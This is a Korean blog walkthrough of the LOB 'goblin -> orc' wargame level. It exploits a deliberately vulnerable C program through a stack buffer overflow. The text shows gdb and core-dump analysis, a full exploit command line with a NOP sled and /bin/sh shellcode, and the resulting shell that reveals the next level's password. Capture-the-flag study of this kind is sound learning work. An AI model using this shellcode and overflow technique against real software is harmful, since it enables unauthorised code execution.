/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter 
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer);
}

 

이번 문제는 40bytes를 저장할 수 있는 buffer와 if문에서 RET 주소가 \xbf 인지 확인하는 코드가 추가 되었다.

즉 RET에는 공유 라이브러리 함수를 쓸 수 없다(RTL 방어). 

 

그렇다면 이번에는 argv[2]에 shellcode를 넣어 공격을 해보겠다.

 

우선 위 바이너리를 gdb로 분석하기 위해 copy 하고 argv[2]의 주소를 찾아보자.

[goblin@localhost goblin]gdb -q orc_copy 
(gdb) 

 

argv[2]의 주소를 찾기 위해서는 argv[1]의 주소를 찾아 그 근방을 뒤져보면 알 수 있을 것이다. main함수를 까보면 strcpy 함수에서 main+184 가 argv[1]의 주소를 stack에 push 하는 곳이다. 따라서 main+185에 breakpoint 해준다.

(gdb) disas main
Dump of assembler code for function main:
...
0x80485b6 <main+182>:   mov    (%eax),%edx
0x80485b8 <main+184>:   push   %edx
0x80485b9 <main+185>:   lea    0xffffffd8(%ebp),%eax
0x80485bc <main+188>:   push   %eax
0x80485bd <main+189>:   call   0x8048440 <strcpy>
0x80485c2 <main+194>:   add    $0x8,%esp
...
(gdb) b *main+185

 

그 다음 if 조건문을 통과하기 위해 48번째에 '\xbf' 값을 넣어주고 두번째 인자 값에는 BBBB 값을 넣어준다.

$ESP 레지스터 값을 보면 argv[1]의 주소가 저장된 것을 볼 수 있다.

(gdb) r `python -c 'print "A"*47+"\xbf"'` BBBB

Starting program: /home/goblin/orc_copy `python -c 'print "A"*47+"\xbf"'` BBBB

Breakpoint 1, 0x80485b9 in main ()
(gdb) x/wx $esp
0xbffffc38:     0xbffffdc5
(gdb) 

 

argv[1]의 주소로 들어가면 A가 47개로 채워져 있고 그 뒤에 BBBB 값이 채워진 것을 볼 수 있다. 따라서 argv[2]의 주소는 0xbffffdf6 인 것을 알 수 있다. 여기에 shellcode를 넣고 RET에 argv[2] 주소를 넣으면 shell을 획득 할 수 있을 것이다.

(gdb) x/100wx 0xbffffdc5
0xbffffdc5:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdd5:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffde5:     0x41414141      0x41414141      0x41414141      0xbf414141
0xbffffdf5:     0x42424200      0x00000042      0x00000000      0x00000000
0xbffffe05:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe15:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe25:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe35:     0x00000000      0x00000000      0x00000000      0x00000000

 

 

따라서 아래처럼 인자를 넘겨주면 된다.

argv[1] = [Dummy Code(44bytes)] + [argv[2] addr] 
argv[2] = [NOP * 100 + shellcode]

 

하지만 에러가 뜬다. core 파일을 gdb로 분석해서 제대로된 argv[2] 주소를 찾아보자.

[goblin@localhost goblin]$ ./orc_copy `python -c 'print "A"*44+"\xf6\xfd\xff\xbf"'` `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[goblin@localhost goblin]$ gdb -c core -q

 

 

stack을 보기 위해 x/100wx $esp 명령어를 입력하여 stack을 보면 아래에 44개의 A 문자와 \x90 문자가 들어간 것을 볼 수 있다. 그 값들의 주소를 아무거나 가져온다. 필자는 \xbffffd80 주소를 가져왔다.

(gdb) x/100wx $esp
0xbffffc00:     0x00000000      0xbffffc44      0xbffffc54      0x40013868
0xbffffc10:     0x00000003      0x08048450      0x00000000      0x08048471
0xbffffc20:     0x08048500      0x00000003      0xbffffc44      0x08048390
0xbffffc30:     0x0804860c      0x4000ae60      0xbffffc3c      0x40013e90
0xbffffc40:     0x00000003      0xbffffd3f      0xbffffd4a      0xbffffd7b
0xbffffc50:     0x00000000      0xbffffdf9      0xbffffe0a      0xbffffe4c
0xbffffc60:     0xbffffe6b      0xbffffe8d      0xbffffe99      0xbffffea4
0xbffffc70:     0xbffffec3      0xbffffedf      0xbffffef4      0xbfffff12
0xbffffc80:     0xbfffff1d      0xbfffff2c      0xbfffff34      0xbfffff45
0xbffffc90:     0xbfffff4f      0xbfffff5d      0xbfffff6e      0xbfffff7c
0xbffffca0:     0xbfffff90      0xbfffffa2      0xbfffffe4      0x00000000
0xbffffcb0:     0x00000003      0x08048034      0x00000004      0x00000020
0xbffffcc0:     0x00000005      0x00000006      0x00000006      0x00001000
0xbffffcd0:     0x00000007      0x40000000      0x00000008      0x00000000
0xbffffce0:     0x00000009      0x08048450      0x0000000b      0x000001f7
0xbffffcf0:     0x0000000c      0x000001f7      0x0000000d      0x000001f7
0xbffffd00:     0x0000000e      0x000001f7      0x00000010      0x0f8bfbff
0xbffffd10:     0x0000000f      0xbffffd3a      0x00000000      0x00000000
0xbffffd20:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffd30:     0x00000000      0x00000000      0x36690000      0x2e003638
0xbffffd40:     0x63726f2f      0x706f635f      0x41410079      0x41414141
0xbffffd50:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffd60:     0x41414141      0x41414141      0x41414141      0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffffd70:     0x41414141      0xfdf64141      0x9000bfff      0x90909090
0xbffffd80:     0x90909090      0x90909090      0x90909090      0x90909090

 

 

RET에 주소를 넣으니 shell을 획득 할 수 있다.

[goblin@localhost goblin]$ ./orc `python -c 'print "A"*44+"\x80\xfd\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash$ whoami
orc
bash$ my-pass
euid = 504
cantata
bash$ 

'CTF > LOB' 카테고리의 다른 글

[LOB] - wolfman -> darkelf 풀이  (0) 2019.10.04
[LOB] - orc -> wolfman 풀이  (0) 2019.10.04
[LOB] - goblin -> orc 풀이  (0) 2019.10.04
[LOB] - cobolt -> goblin 풀이  (0) 2019.10.04
[LOB] - gremlin -> cobolt 풀이  (0) 2019.10.04
[LOB] - gate -> gremlin 풀이  (0) 2019.10.04